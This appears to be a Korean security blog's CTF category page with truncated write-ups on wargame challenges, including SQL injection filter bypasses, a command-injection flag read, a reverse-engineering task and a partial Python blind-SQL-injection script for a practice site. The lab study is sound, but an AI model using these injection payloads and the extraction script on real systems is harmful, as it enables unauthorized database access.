일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 |
- 스트림암호
- C알고리즘
- BOF
- FTZlevel10
- 보안
- 알고리즘
- 버퍼오버플로우
- 8086CPU레지스터
- 신경망 학습
- 파이썬신경망
- 신경망파이썬
- 인공지능
- 신경망구현
- 달고나bof
- C언어알고리즘
- 딥러닝
- 딥러닝파이썬
- 신경망
- 머신러닝
- BOJ
- 항등함수
- C언어 알고리즘
- 활성화함수파이썬
- 정보보안
- 백준
- 백준알고리즘
- 밑바닥부터시작하는딥러닝
- 소프트맥스함수
- 파이썬
- c언어
- Today
- Total
목록<CTF> (95)
HeeJ's
문제 사이트로 들어가면, google 사이트가 나오는데, URL을 보면 알 수 있다. flag.php에 flag가 있는 것 같다. 그러면 command를 사용해서 flag.php를 확인해주면 될 것이다. flag.php가 필터링 되고 있는 것 같다. 그래서 flag가 필터링 되어도, flag.php가 나타날 수 있도록 url을 조작해서 입력해주었다. flag를 획득했다.
문제 화면을 열면 php 코드가 들어있는 것을 확인할 수 있다. 모르는 함수가 있어서 찾아보았다. - trim() : 문자열 맨 앞과 맨 뒤의 공백을 제거한다. - file_get_contents() ex. -> 웹사이트에 있는 전체 파일을 문자열로 읽어들이는 php 함수 - isset() : 들어있는 값이 NULL이 아님을 의미 (변수가 설정되었는지 확인) 코드를 해석해보면, 1. guess 변수에 값이 있으면 filename 변수에서 파일 문자열을 읽어들인 것을 $secretcode 변수에 넣는다. 2. $guess와 $secretcode 값이 같으면 flag.txt를 출력해준다. filename 변수와 guess 변수의 내용을 조작해서 문제를 해결할 수 있다. 어떻게 값을 전달해줄까 하다가, 입력 ..
문제 힌트를 읽어보면 HDD를 CD-Rom으로 인식시키기 위해서는 GetDriveTypeA의 리턴값이 무엇이 되어야 하는가라고 적혀있다. 이 문제 힌트를 먼저 해결한 후, exe 파일을 열어보려고 한다. 위의 힌트를 해결하기 위해 GetDriveType 함수를 찾아보았다. GetDriveType 함수의 원형은 UINT WINAPI GetDriveType( _In_opt_ LPCTSTR lpRootPathName ); 이며 이 함수는 인자로 전달받은 드라이브가 어떤 종류의 드라이브인지 판별하여 리턴해줍니다. 이제 리턴 값들에 대해 알아보면 힌트에 대한 답을 찾을 수 있을 것이다. 리턴 값 상수 설명 0 DRIVE_UNKNOWN 알 수 없음 1 DRIVE_NO_ROOT_DIR 최상위 경로가 없음 2 DRIV..
문제를 내려받아 실행시켜보니, 이렇게 Password를 입력하고 확인하는 프로그램이었다. 아무 값이나 입력하고 확인 버튼을 눌러보았더니 Incorrect Password라는 문자열이 떴다. 이 프로그램을 Ollydbg로 열어보았다. 비밀번호를 틀렸을 때 뜨는 문자열을 알기 때문에 이 프로그램에 있는 문자열들을 검색해주었다. 문자열들을 살펴보니, 틀렸을 때 떴던 문자열인 "Incorrect Password"와 성공 문자열로 보이는 "Congratulation !!"도 확인할 수 있었다. 성공과 실패로 분기되는 곳으로 이동해 위를 살펴보면 입력 값과 패스워드를 비교하는 부분을 찾을 수 있을 것이다. 분기문으로 이동한 후, 코드를 확인해보니 아래의 Incorrect Password로 Jump되는 부분이 아래 ..
문제의 소스코드를 한 번 살펴보려고 한다. if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); 이 부분을 보면 or와 and가 필터링되고 있다. 이런 경우, 연산자를 사용해주면 된다. or를 대신해 || , and를 대신해 && 를 사용해주면 된다. $query = "select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}'"; 입력받는 쿼리문의 형태이다. pw를 get 방식으로 받아주는걸 알 수 있다. 그냥 간단하게 풀던 방법에서 or 대신에 ||를 사용해주면 될 것이다. 이렇게 제..
A2. Broken AUthentication - Logout Management 문제를 풀어볼 것이다. 현재, 메인 화면에서 bee/bug로 로그인 된 상태입니다. 이 상태에서 here을 눌러 logout을 해줍니다. sure을 묻는 메시지에 OK를 눌러주어 로그아웃을 해줍니다. 그러자 다시 main 화면의 Login 창으로 넘어온 것을 확인할 수 있다. 하지만 이 화면에서 뒤로가기를 누른다면, 다시 아까의 login 상태로 넘어온 것을 확인할 수 있다. 결과 : 이 사이트는 세션 관리 취약점 중, 세션이 자동 로그아웃되지 않고 유지되는 경우라고 볼 수 있다. 이는 로그인 세션이 아직 살아있어 생기는 문제로, 로그아웃 시 세션에 대한 처리가 되지 않아 생기는 문제이다. 이와 비슷한 것으로는 공공 장소의..
필터링 되는 preg_match 구문을 보면, 이 문제에서는 '공백'이 필터링된다는 것을 알 수 있다. or나 and를 사용할 때는 앞 뒤에 공백이 꼭 들어가야하므로, 이와 관련된 문제라고 볼 수 있다. 하지만 이 or와 and는 연산자로 대신할 수 있다. or -> || and -> && 이 쿼리 문에서 or를 대신해 ||를 사용해준다면 공백이 없이도 이 문제를 해결할 수 있다. 이렇게 쿼리문을 전송해 준다면 문제를 해결할 수 있다.
이 orc 문제는 blindSQL 문제로, 전송한 쿼리의 리턴 값이 true인지 false인지의 반응을 통해 pw의 값을 알아보는 문제이다 이 문제를 풀기 위해 자동화 스크립트를 파이썬으로 작성해주었다. import requests #los orc url = "Lord of SQL orc URL" headers = {"Cookie":"PHPSESSID=Your PHPSESSID"} #패스워드 길이 구하기 for i in range(50): query="pw='||id='admin' and length(pw)={}%23".format(i) r = requests.get(url+query, headers=headers) if "Hello admin" in r.text: length = i break #패스워..